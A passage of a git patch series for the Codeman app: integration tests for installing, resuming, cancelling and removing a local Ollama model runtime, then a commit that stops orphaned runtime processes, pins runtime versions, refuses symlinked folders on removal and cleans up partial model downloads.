and removes all of it', async () => { + mkdirSync(dirname(SETTINGS_PATH), { recursive: true }); + writeFileSync(SETTINGS_PATH, JSON.stringify({ tmuxHistoryLimit: 5000 })); + const { app, get, settled, install: clickInstall } = await routes(); + + // ---- The chooser: what the window shows before anything is installed ---- + const before = await get(); + expect(before.install).toMatchObject({ + state: 'idle', + running: false, + developerTools: 'missing', + actions: ['install'], + folder: world.paths.root, + runtime: { version: '0.40.15', installed: false, downloadBytes: world.archive.archive.size }, + }); + expect(before.recommendation.verdict).toBe('ok'); + expect(before.recommendation.budgetSource).toBe('estimated'); + const pick = before.recommendation.pick!; + expect(pick).toBeDefined(); + // The MacBook's row: the one model that was run on a Mac like it, with its measured speed. + expect(pick).toMatchObject({ + modelId: 'qwen3.6:35b-a3b', + context: 131072, + fit: 'tight', + needSource: 'measured', + tested: true, + tag: { kind: 'tested' }, + }); + // The row carries the coding agent and the literal command the consent screen prints. + expect(pick.harnesses[0]).toMatchObject({ + cli: 'opencode', + cliLabel: 'OpenCode', + installed: false, + installCommand: INSTALL_COMMAND, + }); + // The server's own total: the model plus the runtime archive that is still to download. + expect(pick.installBytes).toBe(pick.downloadBytes + world.archive.archive.size); + expect(pick.installGb).toBe(formatGb(pick.installBytes)); + const runtime = prepareRuntime(pick); + + // ---- Consent is bound to the size shown ---- + const stale = await app.inject({ + method: 'POST', + url: '/api/local-model/install', + payload: { modelId: pick.modelId, cli: 'opencode', context: pick.context, acknowledgedBytes: pick.downloadBytes }, + }); + expect(stale.statusCode).toBe(409); + expect(stale.json().data).toMatchObject({ reason: 'size-changed', expectedBytes: pick.installBytes }); + expect(world.archive.state.archiveRequests).toBe(0); + + // ---- Install ---- + const started = await clickInstall(pick); + expect(started.statusCode).toBe(200); + expect(started.json().data).toMatchObject({ + state: 'installing', + steps: ['runtime', 'model', 'verify', 'agent', 'connect'], + model: { id: pick.modelId, label: pick.modelLabel }, + cli: 'opencode', + context: pick.context, + actions: ['cancel'], + }); + // One job at a time. + const second = await clickInstall(pick); + expect(second.statusCode).toBe(409); + expect(second.json().data).toMatchObject({ reason: 'job-running' }); + + const install = await settled(); + expect(install.error).toBeUndefined(); + expect(install).toMatchObject({ + state: 'installed', + running: true, + port: world.port, + model: { id: pick.modelId, label: pick.modelLabel }, + cli: 'opencode', + cliLabel: 'OpenCode', + context: pick.context, + endpointId: 'local-ollama', + folder: world.paths.root, + loaded: { context: pick.context, onGpu: true }, + actions: ['start-session', 'stop', 'remove'], + runtime: { installed: true, downloadBytes: 0, downloadGb: formatGb(0) }, + }); + + // ---- What really happened ---- + // The runtime was downloaded once, unpacked, and "started" with the allowlisted environment. + expect(world.archive.state.archiveRequests).toBe(1); + expect(existsSync(world.paths.binary)).toBe(true); + expect(existsSync(world.paths.archivePartial)).toBe(false); + expect(runtime.state.children).toHaveLength(1); + const env = runtime.state.children[0].env; + expect(env.OLLAMA_HOST).toBe(`127.0.0.1:${world.port}`); + expect(env.OLLAMA_CONTEXT_LENGTH).toBe(String(pick.context)); + expect(env.HOME).toBe(world.paths.homeDir); + expect(env.OLLAMA_MODELS).toBe(world.paths.modelsDir); + expect(Object.keys(env).filter((key) => key.startsWith('CODEMAN_'))).toEqual([]); + expect(env).not.toHaveProperty('OLLAMA_ORIGINS'); + // One pull, one coding agent install. + expect(runtime.state.pulls).toBe(1); + expect(world.installerRuns).toBe(1); + + // The state file: the measured budget, the pull's own total, the digest. + const state = await readLocalModelState(); + expect(state).toMatchObject({ + state: 'installed', + model: { id: pick.modelId, context: pick.context, pullBytes: runtime.model.bytes, digest: runtime.model.digest }, + runtime: { + version: '0.40.15', + port: world.port, + enabled: true, + measuredTotalBytes: MACBOOK_MEASURED_TOTAL_BYTES, + }, + connection: { endpointId: 'local-ollama', flagWasEnabled: false }, + }); + expect(JSON.stringify(state)).not.toContain(getDataDir()); + + // The two writes outside the folder, and nothing else changed there. + expect(await readCustomModelHosts(getDataDir())).toEqual([ + { + id: 'local-ollama', + label: 'This Mac', + baseUrl: `http://127.0.0.1:${world.port}`, + authStyle: 'bearer', + models: [pick.modelId], + defaultModelId: pick.modelId, + defaultContextLength: pick.context, + }, + ]); + expect(JSON.parse(readFileSync(SETTINGS_PATH, 'utf8'))).toEqual({ + tmuxHistoryLimit: 5000, + customModelEndpointsEnabled: true, + }); + + // From now on the budget of the GET is the measured one. + const after = await get(); + expect(after.recommendation.budgetSource).toBe('measured'); + expect(after.recommendation.budgetBytes).toBeLessThanOrEqual(MACBOOK_MEASURED_TOTAL_BYTES); + + // ---- A session may start, until the model changes under its name ---- + expect(await world.service.launchRefusalMessage('local-ollama', pick.modelId)).toBeUndefined(); + runtime.model.digest = 'f'.repeat(64); + expect(await world.service.launchRefusalMessage('local-ollama', pick.modelId)).toBe( + 'The model on this Mac changed since it was installed. Remove it and install it again.' + ); + expect((await get()).install).toMatchObject({ + state: 'installed', + error: { code: 'model-changed', next: 'remove' }, + }); + + // ---- Remove ---- + world.sessions.set('s1', { name: 'w1-app', customModel: { endpointId: 'local-ollama' } }); + const refused = await app.inject({ method: 'DELETE', url: '/api/local-model', payload: { removeModel: true } }); + expect(refused.statusCode).toBe(409); + expect(refused.json().data).toMatchObject({ reason: 'sessions-open', sessions: ['w1-app'] }); + expect(existsSync(world.paths.binary)).toBe(true); + + world.sessions.clear(); + const removed = await app.inject({ method: 'DELETE', url: '/api/local-model', payload: { removeModel: true } }); + expect(removed.statusCode).toBe(200); + expect(removed.json().data).toMatchObject({ state: 'idle', running: false, actions: ['install'] }); + // The child was stopped and the whole folder is gone: the runtime, the private home, the models. + expect(runtime.state.children[0].signals).toContain('SIGTERM'); + expect(runtime.listening).toBe(false); + expect(existsSync(world.paths.root)).toBe(false); + // Our record is gone, and the flag this feature switched on is off again. + expect(await readCustomModelHosts(getDataDir())).toEqual([]); + expect(JSON.parse(readFileSync(SETTINGS_PATH, 'utf8'))).toEqual({ + tmuxHistoryLimit: 5000, + customModelEndpointsEnabled: false, + }); + expect((await readLocalModelState()).state).toBe('idle'); + // The chooser is back, with the runtime download in the total again. + const again = await get(); + expect(again.install.runtime).toMatchObject({ installed: false, downloadBytes: world.archive.archive.size }); + expect(again.recommendation.pick?.installBytes).toBe(pick.installBytes); + }, 60_000); + + it('a runtime download that arrives damaged is deleted before anything is unpacked, and Try again gets it', async () => { + const { get, settled, install: clickInstall, app } = await routes(); + const pick = (await get()).recommendation.pick!; + const runtime = prepareRuntime(pick); + world.damagedDownloads = 1; + + await clickInstall(pick); + const failed = await settled(); + expect(failed).toMatchObject({ + state: 'failed', + step: 'runtime', + error: { code: 'runtime-damaged', next: 'retry' }, + actions: ['resume', 'install', 'remove'], + runtime: { installed: false }, + }); + expect(failed.error?.detail).toContain(world.archive.archive.sha256); + // The hash was compared first: the file is gone, nothing was unpacked, nothing was started. + expect(world.archive.state.archiveRequests).toBe(1); + expect(existsSync(world.paths.archivePartial)).toBe(false); + expect(existsSync(world.paths.unpackDir)).toBe(false); + expect(existsSync(world.paths.runtimeDir)).toBe(false); + expect(runtime.state.children).toHaveLength(0); + expect(runtime.state.pulls).toBe(0); + + // "Try again" downloads the archive again, and this time it is the pinned one. + const resumed = await app.inject({ method: 'POST', url: '/api/local-model/resume', payload: {} }); + expect(resumed.statusCode).toBe(200); + expect((await settled()).state).toBe('installed'); + expect(world.archive.state.archiveRequests).toBe(2); + expect(existsSync(world.paths.binary)).toBe(true); + expect(runtime.state.children).toHaveLength(1); + }, 60_000); + + it('a model download that fails twice is asked again and finishes; Remove leaves another saved endpoint and the models', async () => { + writeFileSync(HOSTS(), JSON.stringify([{ id: 'office', label: 'Office', baseUrl: 'http://192.168.1.50:8080' }])); + const { app, get, settled, install: clickInstall } = await routes(); + const pick = (await get()).recommendation.pick!; + const runtime = prepareRuntime(pick); + // The real error line of a pull whose download kept failing, on the first two pulls. + runtime.switches.pull.fail = 'error-line'; + runtime.switches.pull.failTimes = 2; + + await clickInstall(pick); + const install = await settled(); + expect(install.error).toBeUndefined(); + expect(install.state).toBe('installed'); + expect(runtime.state.pulls).toBe(3); + // The size of the model is the pull's own total. + expect((await readLocalModelState()).model?.pullBytes).toBe(runtime.model.bytes); + expect(await readCustomModelHosts(getDataDir())).toMatchObject([{ id: 'office' }, { id: 'local-ollama' }]); + + // Remove without the box: the model store stays for a later install. + const removed = await app.inject({ method: 'DELETE', url: '/api/local-model', payload: { removeModel: false } }); + expect(removed.json().data.state).toBe('idle'); + expect(existsSync(world.paths.runtimeRoot)).toBe(false); + expect(existsSync(world.paths.homeDir)).toBe(false); + expect(existsSync(world.paths.modelsDir)).toBe(true); + // The other endpoint stays, and so does the flag it needs, although this feature switched it on. + expect(await readCustomModelHosts(getDataDir())).toEqual([ + { id: 'office', label: 'Office', baseUrl: 'http://192.168.1.50:8080' }, + ]); + expect(JSON.parse(readFileSync(SETTINGS_PATH, 'utf8')).customModelEndpointsEnabled).toBe(true); + }, 60_000); + + it('a model download that keeps failing ends failed after its retries, and Try again continues it', async () => { + const { app, get, settled, install: clickInstall } = await routes(); + const pick = (await get()).recommendation.pick!; + const runtime = prepareRuntime(pick); + runtime.switches.pull.fail = 'error-line'; + + await clickInstall(pick); + const failed = await settled(); + expect(failed).toMatchObject({ + state: 'failed', + step: 'model', + error: { code: 'pull-failed', next: 'retry', detail: 'max retries exceeded: local error: tls: bad record MAC' }, + actions: ['resume', 'install', 'remove'], + }); + // The first pull and every retry, and no more. + expect(runtime.state.pulls).toBe(1 + PULL_RETRIES); + // The download as it stood, in the pull's own figures. + expect(failed.progress?.totalBytes).toBe(runtime.model.bytes); + expect(failed.progress?.completedBytes).toBeGreaterThan(0); + expect(failed.progress?.completedBytes).toBeLessThan(runtime.model.bytes); + // Nothing was checked, installed or connected. + expect(runtime.state.installed).toBe(false); + expect(world.installerRuns).toBe(0); + expect(existsSync(HOSTS())).toBe(false); + expect(existsSync(SETTINGS_PATH)).toBe(false); + + // The network is fine again: "Try again" enters the same step. + runtime.switches.pull.fail = 'none'; + const resumed = await app.inject({ method: 'POST', url: '/api/local-model/resume', payload: {} }); + expect(resumed.json().data).toMatchObject({ state: 'installing', step: 'model' }); + expect((await settled()).state).toBe('installed'); + expect(runtime.state.pulls).toBe(2 + PULL_RETRIES); + // The runtime was neither downloaded nor started a second time. + expect(world.archive.state.archiveRequests).toBe(1); + expect(runtime.state.children).toHaveLength(1); + }, 60_000); + + it('a model that does not call a tool ends failed with the next model to try, and Remove cleans up', async () => { + const { app, get, settled, install: clickInstall } = await routes(); + const pick = (await get()).recommendation.pick!; + const runtime = prepareRuntime(pick); + runtime.switches.tool = 'none'; + + await clickInstall(pick); + const install = await settled(); + expect(install).toMatchObject({ + state: 'failed', + step: 'verify', + error: { code: 'no-tool-call', next: 'next-model', message: { vars: { model: pick.modelLabel } } }, + actions: ['resume', 'install', 'remove'], + }); + // The model to try next is a row of the list the window has. + const offered = (await get()).recommendation; + expect(install.error?.nextModel?.modelId).not.toBe(pick.modelId); + expect(offered.alternatives.map((row) => row.modelId)).toContain(install.error?.nextModel?.modelId); + // The coding agent was not installed and nothing was connected. + expect(world.installerRuns).toBe(0); + expect(existsSync(HOSTS())).toBe(false); + expect(existsSync(SETTINGS_PATH)).toBe(false); + + // "Try again" with a model that now calls the tool finishes the same job. + runtime.switches.tool = 'call'; + const resumed = await app.inject({ method: 'POST', url: '/api/local-model/resume', payload: {} }); + expect(resumed.statusCode).toBe(200); + expect((await settled()).state).toBe('installed'); + // The runtime was not downloaded again and the model was not pulled again. + expect(world.archive.state.archiveRequests).toBe(1); + expect(runtime.state.pulls).toBe(1); + + const removed = await app.inject({ method: 'DELETE', url: '/api/local-model' }); + expect(removed.json().data.state).toBe('idle'); + // This feature switched the flag on and no other endpoint is saved: it is off again. + expect(JSON.parse(readFileSync(SETTINGS_PATH, 'utf8')).customModelEndpointsEnabled).toBe(false); + // The model was not asked to go: the store stays for a later install. + expect(existsSync(world.paths.runtimeDir)).toBe(false); + expect(existsSync(world.paths.modelsDir)).toBe(true); + }, 60_000); + + it('Cancel during the model download pauses the job, nothing goes on by itself, and Continue finishes it', async () => { + const { app, get, settled, install: clickInstall, pulling } = await routes(); + const pick = (await get()).recommendation.pick!; + const runtime = prepareRuntime(pick); + slowPull(runtime); + + await clickInstall(pick); + // The window sees the model download move. + await pulling(); + expect((await get()).install).toMatchObject({ state: 'installing', step: 'model' }); + + const cancelled = await app.inject({ method: 'POST', url: '/api/local-model/cancel' }); + expect(cancelled.statusCode).toBe(200); + const paused = cancelled.json().data as LocalModelInstallView; + expect(paused).toMatchObject({ state: 'paused', step: 'model', actions: ['resume', 'install', 'remove'] }); + // The bytes as they stood, and the pull's own total. + expect(paused.progress?.totalBytes).toBe(runtime.model.bytes); + expect(paused.progress?.completedBytes).toBeLessThan(runtime.model.bytes); + expect(paused.progress).not.toHaveProperty('bytesPerSecond'); + expect(runtime.state.installed).toBe(false); + + // Nothing goes on by itself. + const pullsAfterCancel = runtime.state.pulls; + await new Promise((resolve) => setTimeout(resolve, 100)); + expect(runtime.state.pulls).toBe(pullsAfterCancel); + expect((await get()).install.state).toBe('paused'); + + quickPull(runtime); + const resumed = await app.inject({ method: 'POST', url: '/api/local-model/resume' }); + expect(resumed.json().data.state).toBe('installing'); + expect((await settled()).state).toBe('installed'); + expect(runtime.state.pulls).toBe(pullsAfterCancel + 1); + }, 60_000); + + it('a server restart during the model download comes back paused, waits for a click, and Continue finishes it', async () => { + const { app, get, settled, install: clickInstall, pulling } = await routes(); + const pick = (await get()).recommendation.pick!; + const runtime = prepareRuntime(pick); + slowPull(runtime); + + await clickInstall(pick); + await pulling(); + + // ---- The server stops ---- + const first = world.service; + await first.shutdown(); + // The runtime child was signalled and no longer listens; the download stopped with it. + expect(runtime.state.children).toHaveLength(1); + expect(runtime.state.children[0].signals).toContain('SIGTERM'); + expect(runtime.listening).toBe(false); + expect(runtime.state.installed).toBe(false); + // Stopping writes nothing: the file still says what the job was doing. + expect(await readLocalModelState()).toMatchObject({ state: 'installing', step: 'model' }); + const pullsBefore = runtime.state.pulls; + + // ---- A new server starts over the same data dir ---- + const second = startServer(); + expect(second).not.toBe(first); + await second.boot(); + const paused = (await get()).install; + expect(paused).toMatchObject({ + state: 'paused', + step: 'model', + steps: ['runtime', 'model', 'verify', 'agent', 'connect'], + model: { id: pick.modelId, label: pick.modelLabel }, + cli: 'opencode', + context: pick.context, + port: world.port, + running: false, + runtime: { installed: true, downloadBytes: 0 }, + actions: ['resume', 'install', 'remove'], + }); + expect(paused.error).toBeUndefined(); + expect(await readLocalModelState()).toMatchObject({ state: 'paused', step: 'model' }); + + // It never continues without a click: no runtime is started, nothing is pulled. + await new Promise((resolve) => setTimeout(resolve, 150)); + expect(runtime.state.children).toHaveLength(1); + expect(runtime.state.pulls).toBe(pullsBefore); + expect((await get()).install.state).toBe('paused'); + + // ---- Continue ---- + quickPull(runtime); + const resumed = await app.inject({ method: 'POST', url: '/api/local-model/resume', payload: {} }); + expect(resumed.statusCode).toBe(200); + expect(resumed.json().data.state).toBe('installing'); + const install = await settled(); + expect(install.error).toBeUndefined(); + expect(install).toMatchObject({ state: 'installed', running: true, endpointId: 'local-ollama' }); + // The new server started the runtime itself and pulled once more; the archive was not fetched again. + expect(runtime.state.children).toHaveLength(2); + expect(runtime.state.pulls).toBe(pullsBefore + 1); + expect(world.archive.state.archiveRequests).toBe(1); + expect(world.installerRuns).toBe(1); + expect(await readCustomModelHosts(getDataDir())).toMatchObject([{ id: 'local-ollama', models: [pick.modelId] }]); + }, 60_000); +}); From 6319fffce1e0c5bfb7482255ca1ca8fbd4040e5c Mon Sep 17 00:00:00 2001 From: Codeman maintainer <noreply@anthropic.com> Date: Fri, 6 Nov 2026 23:54:45 +0100 Subject: [PATCH 19/28] fix(local-model): end a runtime an earlier server left behind, and keep its version The supervisor reports the child's pid the moment it is spawned, before it answers, so a server killed during a start still leaves a pid that names the runtime as ours. stop() takes that stored pid (previousPid) and ends a runtime an earlier server left behind when its command line is a binary under our runtime folder, so no caller deletes the folder under a live process. start() takes a version: an installed model keeps the runtime version it was installed with when a later build pins another one. removeLocalModelFiles() refuses a local-model folder that is itself a symbolic link (every check compared against the real path of the root, so a link in its place passed whatever it pointed at). removePartialModelBlobs() deletes what an interrupted download left in the model store, which the runtime answers "not found" for and never deletes. Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com> --- src/local-model/paths.ts | 13 ++ src/local-model/runtime.ts | 179 +++++++++++++++++++++++----- test/local-model-runtime.test.ts | 88 ++++++++++++++ test/local-model-supervisor.test.ts | 111 ++++++++++++++++- 4 files changed, 362 insertions(+), 29 deletions(-) diff --git a/src/local-model/paths.ts b/src/local-model/paths.ts index 9933d7ab..749ece9a 100644 --- a/src/local-model/paths.ts +++ b/src/local-model/paths.ts @@ -75,6 +75,19 @@ export function localModelPaths(version: string): LocalModelPaths { }; } +/** + * The binary of another unpacked runtime version beside the pinned one: `<runtimeRoot>/ + * ollama-<version>/ollama`. For an installed model whose runtime was unpacked by an earlier + * build with another pin: it keeps running the version it was installed with. Throws on a + * version that is not digits and dots, like `localModelPaths()`. Pure. + */ +export function runtimeBinaryForVersion(paths: LocalModelPaths, version: string): string { + if (!VERSION_PATTERN.test(version)) { + throw new Error(`Not a runtime version: ${JSON.stringify(version)}`); + } + return join(paths.runtimeRoot, `ollama-${version}`, 'ollama'); +} + /** * Whether `path` is the local model folder itself or lies inside it, judged on the resolved * text (no filesystem access, so a symlink is not followed: a caller that deletes checks the diff --git a/src/local-model/runtime.ts b/src/local-model/runtime.ts index dd6b70f5..0ff00614 100644 --- a/src/local-model/runtime.ts +++ b/src/local-model/runtime.ts @@ -29,12 +29,20 @@ * loses nothing and gives back what an orphan cannot: its log, so the measured budget, and * its exit. A child that exits by itself is restarted, at most `RUNTIME_MAX_RESTARTS` times * since the last `start()`; `stop()` sends SIGTERM. The supervisor does not write the state - * file: it reports through `onChange`, and its caller stores the pid and the port. + * file: it reports through `onChange`, and its caller stores the pid and the port. The pid + * is reported the moment the child is SPAWNED, before it answers, so a server that is + * killed during a start still leaves a pid that names the runtime as ours. `stop()` takes + * that stored pid too (`previousPid`): a runtime an earlier server left behind is ended the + * same way, when its command line is a binary under our runtime folder. `start()` runs the + * pinned version, or with `version` another one that is unpacked beside it (the version an + * installed model was installed with). * - BUDGET (`parseInferenceComputeTotal()`, pure). Right after it starts, the runtime prints * the device total in its log line "inference compute" (`total="37.4 GiB"`). The supervisor * reads the child's output for it and reports it as `measuredTotalBytes`. * - REMOVAL (`removeLocalModelFiles()`). Deletes the runtime, the private home and, when - * asked, the models. Only inside `LocalModelPaths.root`. + * asked, the models. Only inside `LocalModelPaths.root`, and never through a `root` that + * is itself a symbolic link. `removePartialModelBlobs()` deletes what an interrupted + * download left in the model store. * * Under vitest nothing spawns and nothing is fetched unless a test injects it: the default * `spawn` and `fetch` of the dependency objects refuse there, the default `commandOfPid` @@ -44,12 +52,12 @@ import { execFile, spawn as nodeSpawn, type ChildProcess, type SpawnOptions } from 'node:child_process'; import { createHash, type Hash } from 'node:crypto'; import { createReadStream } from 'node:fs'; -import { lstat, mkdir, open, realpath, rename, rm, rmdir, stat, unlink } from 'node:fs/promises'; +import { lstat, mkdir, open, readdir, realpath, rename, rm, rmdir, stat, unlink } from 'node:fs/promises'; import { createServer } from 'node:net'; import { join, resolve as resolvePath } from 'node:path'; import type { LocalModelErrorCode, LocalModelRuntimePin } from '../types.js'; import { getRuntimeVersion, listRunning } from './ollama-client.js'; -import { isInsideLocalModelRoot, localModelPaths, type LocalModelPaths } from './paths.js'; +import { isInsideLocalModelRoot, localModelPaths, runtimeBinaryForVersion, type LocalModelPaths } from './paths.js'; // ---------- The pin and the constants ---------- @@ -673,15 +681,37 @@ async function planRemoval(target: string, root: string): Promise<RemovalStep> { return { target, how: 'delete' }; } +/** + * Whether `root` may be deleted in: it is absent (nothing to do) or a real folder. A `root` + * that is itself a symbolic link is REFUSED: every check below compares against the real + * path of the root, so a link in its place would make whatever it points at pass as ours. + */ +async function rootIsDeletable(root: string): Promise<'absent' | 'folder'> { + let info; + try { + info = await lstat(root); + } catch (err) { + if (errnoOf(err) === 'ENOENT') return 'absent'; + throw err; + } + if (info.isSymbolicLink()) { + throw new Error(`Refusing to delete in ${root}: it is a symbolic link, not the folder Codeman made`); + } + if (!info.isDirectory()) throw new Error(`Refusing to delete in ${root}: it is not a folder`); + return 'folder'; +} + /** * Deletes what this feature put on disk: every runtime folder and archive, the private home * and, when asked, the models. Refuses any path that is not inside `LocalModelPaths.root`, - * follows no symlink out of it, and removes `root` itself only when it is empty afterwards. - * Every folder is judged BEFORE the first one is deleted, so a refusal deletes nothing. - * The state file and the coding agent are not its business. + * refuses a `root` that is a symbolic link, follows no symlink out of it, and removes `root` + * itself only when it is empty afterwards. Every folder is judged BEFORE the first one is + * deleted, so a refusal deletes nothing. The state file and the coding agent are not its + * business. */ export async function removeLocalModelFiles(options: RemoveLocalModelFilesOptions): Promise<void> { const paths = options.paths ?? localModelPaths(OLLAMA_RUNTIME_PIN.version); + if ((await rootIsDeletable(paths.root)) === 'absent') return; const targets = [paths.runtimeRoot, paths.homeDir, ...(options.models ? [paths.modelsDir] : [])]; const plan: RemovalStep[] = []; for (const target of targets) plan.push(await planRemoval(target, paths.root)); @@ -694,6 +724,48 @@ export async function removeLocalModelFiles(options: RemoveLocalModelFilesOption await rmdir(paths.root).catch(() => undefined); } +/** The marker the runtime puts into the name of a blob it has not finished downloading. */ +const PARTIAL_BLOB_MARK = '-partial'; + +/** + * Deletes what an interrupted download left in the model store: the files directly in + * `<models>/blobs` whose name carries the runtime's partial marker (`sha256-<hex>-partial` + * and its numbered parts). A model the runtime has no manifest for cannot be deleted through + * the runtime (it answers "not found" and touches no blob), so its partial blobs are removed + * here. Call it only while NO download is in flight: every partial file is then a dead one. + * + * Only regular files, only that one folder, only inside `LocalModelPaths.root`; a `root`, a + * model store or a blob folder that is a symbolic link is left alone. Resolves with the bytes + * that were freed. Never throws: a file that cannot be deleted stays for Remove. + */ +export async function removePartialModelBlobs(paths?: LocalModelPaths): Promise<number> { + let freed = 0; + try { + const resolved = paths ?? localModelPaths(OLLAMA_RUNTIME_PIN.version); + const blobs = join(resolved.modelsDir, 'blobs'); + if (!isInsideLocalModelRoot(blobs, resolved.root)) return 0; + for (const folder of [resolved.root, resolved.modelsDir, blobs]) { + const info = await lstat(folder); + if (info.isSymbolicLink() || !info.isDirectory()) return 0; + } + for (const name of await readdir(blobs)) { + if (!name.includes(PARTIAL_BLOB_MARK)) continue; + const file = join(blobs, name); + try { + const info = await lstat(file); + if (!info.isFile()) continue; + await unlink(file); + freed += info.size; + } catch { + // Gone already, or not ours to delete: Remove with the models takes the rest. + } + } + } catch { + // No model store yet: nothing was left behind. + } + return freed; +} + // ---------- Port ---------- /** Whether nothing holds `port` on 127.0.0.1, decided by binding it and letting go again. */ @@ -743,6 +815,11 @@ export async function chooseRuntimePort(options: ChooseRuntimePortOptions = {}): export interface RuntimeStatus { /** The child Codeman started (or adopted) is alive and answered `/api/version`. */ running: boolean; + /** + * The pid of the child. Present from the moment it is SPAWNED, so also while `running` is + * still false: the caller stores it at once, and a server killed during a start leaves a + * pid that names the runtime as ours. + */ pid?: number; port?: number; /** The context length the running child was started with. */ @@ -762,6 +839,22 @@ export interface RuntimeStartOptions { contextLength: number; /** The pid the state file holds from an earlier server: decides whether a listener on `port` is our own orphan. */ previousPid?: number; + /** + * Another unpacked runtime version than the pinned one: the version an installed model was + * installed with. Its binary is `runtimeBinaryForVersion()`, and it must answer this + * version. Absent: the pinned version. + */ + version?: string; +} + +/** What `stop()` may be told. */ +export interface RuntimeStopOptions { + /** + * The pid the state file holds. When no child of this process runs under it and its command + * line is a binary under our runtime folder, it is a runtime an earlier server left behind, + * and it is ended like our own child (SIGTERM, then SIGKILL). Any other pid is left alone. + */ + previousPid?: number; } /** How a `start()` ended. */ @@ -819,8 +912,12 @@ export interface RuntimeSupervisor { * and the budget line was read (or a few seconds passed without it). Never throws. */ start(options: RuntimeStartOptions): Promise<RuntimeStartResult>; - /** SIGTERM to the child, SIGKILL after a grace period. Resolves once it is gone. Safe to call when nothing runs. */ - stop(): Promise<void>; + /** + * SIGTERM to the child, SIGKILL after a grace period. Resolves once it is gone. Safe to call + * when nothing runs. With `previousPid` it also ends a runtime an earlier server left behind + * (see `RuntimeStopOptions`), so no caller deletes the runtime folder under a live process. + */ + stop(options?: RuntimeStopOptions): Promise<void>; status(): RuntimeStatus; } @@ -884,7 +981,9 @@ export function createRuntimeSupervisor(overrides: Partial<RuntimeSupervisorDeps let adoptedPid: number | undefined; let orphanTimer: NodeJS.Timeout | undefined; /** What the last `start()` asked for: what a restart starts again. */ - let wanted: { port: number; contextLength: number } | undefined; + let wanted: { port: number; contextLength: number; version: string } | undefined; + /** The version the running child was started as. */ + let runningVersion: string | undefined; /** Bumped by every `start()` and `stop()`: work of an older generation stops when it notices. */ let generation = 0; /** The restart loop that is running, if one is. */ @@ -984,7 +1083,7 @@ export function createRuntimeSupervisor(overrides: Partial<RuntimeSupervisorDeps setState({ restarts: state.restarts + 1 }); await deps.sleep(RESTART_DELAY_MS); if (gen !== generation || !wanted) return; - const launched = await launch(wanted.port, wanted.contextLength, gen); + const launched = await launch(wanted.port, wanted.contextLength, wanted.version, gen); // Running again: a later exit comes back here through the child's exit handler. if (launched.ok) return; } @@ -997,15 +1096,17 @@ export function createRuntimeSupervisor(overrides: Partial<RuntimeSupervisorDeps } /** Spawns the runtime and waits until it answers. The child becomes `child` only then. */ - async function launch(port: number, contextLength: number, gen: number): Promise<LaunchResult> { + async function launch(port: number, contextLength: number, version: string, gen: number): Promise<LaunchResult> { const folders = paths(); let spawned: ChildProcess; try { + // The pinned build, or the one an installed model was installed with. + const binary = version === pin.version ? folders.binary : runtimeBinaryForVersion(folders, version); await mkdir(folders.homeDir, { recursive: true, mode: 0o700 }); await mkdir(folders.modelsDir, { recursive: true, mode: 0o700 }); // Asked to stop in the meantime: nothing is started only to be stopped again. if (gen !== generation) return { ok: false, detail: 'The start was replaced by a newer request' }; - spawned = deps.spawn(folders.binary, ['serve'], { + spawned = deps.spawn(binary, ['serve'], { env: runtimeEnv({ source: deps.env, home: folders.homeDir, @@ -1022,6 +1123,9 @@ export function createRuntimeSupervisor(overrides: Partial<RuntimeSupervisorDeps return { ok: false, detail: errorText(err) }; } starting = spawned; + // Said at once, before the child answers: the caller stores the pid, so a server that is + // killed during this start still leaves a pid that names the runtime as ours. + if (spawned.pid !== undefined) setState({ pid: spawned.pid }); // The child's output: the budget line, and the last lines for the detail of a failure. // It is read for as long as the child lives, so a full pipe never blocks it. @@ -1095,6 +1199,8 @@ export function createRuntimeSupervisor(overrides: Partial<RuntimeSupervisorDeps const fail = async (reason: string): Promise<LaunchResult> => { if (starting === spawned) starting = undefined; await stopChild(spawned); + // The pid that was announced at the spawn is no runtime any more. + if (state.pid === spawned.pid && child !== spawned) setState({ pid: undefined }); const log = tail.join('\n'); return { ok: false, detail: clip(log === '' ? reason : `${reason}\n${log}`) }; }; @@ -1104,10 +1210,10 @@ export function createRuntimeSupervisor(overrides: Partial<RuntimeSupervisorDeps for (;;) { if (ended !== undefined) return fail(ended); if (gen !== generation) return fail('The start was replaced by a newer request'); - const version = await getRuntimeVersion(target); + const answered = await getRuntimeVersion(target); if (ended !== undefined) return fail(ended); - if (version !== undefined) { - if (version !== pin.version) return fail(`The runtime answers as version ${version}, not ${pin.version}`); + if (answered !== undefined) { + if (answered !== version) return fail(`The runtime answers as version ${answered}, not ${version}`); break; } if (Date.now() >= deadline) { @@ -1123,6 +1229,7 @@ export function createRuntimeSupervisor(overrides: Partial<RuntimeSupervisorDeps starting = undefined; child = spawned; + runningVersion = version; const pid = spawned.pid ?? 0; setState({ running: true, @@ -1136,8 +1243,9 @@ export function createRuntimeSupervisor(overrides: Partial<RuntimeSupervisorDeps } /** Keeps an orphan of an earlier server: it is watched by pid, because its exit is no event of ours. */ - function adopt(pid: number, port: number, contextLength: number): void { + function adopt(pid: number, port: number, contextLength: number, version: string): void { adoptedPid = pid; + runningVersion = version; setState({ running: true, pid, port, contextLength, measuredTotalBytes: undefined, gaveUp: false }); let looking = false; orphanTimer = setInterval(() => { @@ -1181,6 +1289,7 @@ export function createRuntimeSupervisor(overrides: Partial<RuntimeSupervisorDeps async function doStart(options: RuntimeStartOptions): Promise<RuntimeStartResult> { const { port, contextLength, previousPid } = options; + const version = options.version ?? pin.version; if (!Number.isInteger(port) || port < 1 || port > 65535) { return { ok: false, code: 'runtime-start-failed', detail: `Not a port: ${String(port)}` }; } @@ -1189,7 +1298,13 @@ export function createRuntimeSupervisor(overrides: Partial<RuntimeSupervisorDeps } // Already running as asked: nothing to do. const alive = (child !== undefined && !hasExited(child)) || adoptedPid !== undefined; - if (alive && state.running && state.port === port && state.contextLength === contextLength) { + if ( + alive && + state.running && + state.port === port && + state.contextLength === contextLength && + runningVersion === version + ) { return { ok: true, pid: state.pid ?? 0, @@ -1203,7 +1318,8 @@ export function createRuntimeSupervisor(overrides: Partial<RuntimeSupervisorDeps const gen = generation; await restarting; await stopCurrent(); - wanted = { port, contextLength }; + wanted = { port, contextLength, version }; + runningVersion = undefined; setState({ running: false, pid: undefined, @@ -1222,27 +1338,27 @@ export function createRuntimeSupervisor(overrides: Partial<RuntimeSupervisorDeps isOwn(await deps.commandOfPid(previousPid).catch(() => undefined)) ? previousPid : undefined; - const version = await getRuntimeVersion(target); + const answering = await getRuntimeVersion(target); let orphan: 'none' | 'adopted' | 'replaced' = 'none'; if (ownOrphan !== undefined) { - if (version === pin.version && (await worthAdopting(target, contextLength))) { - 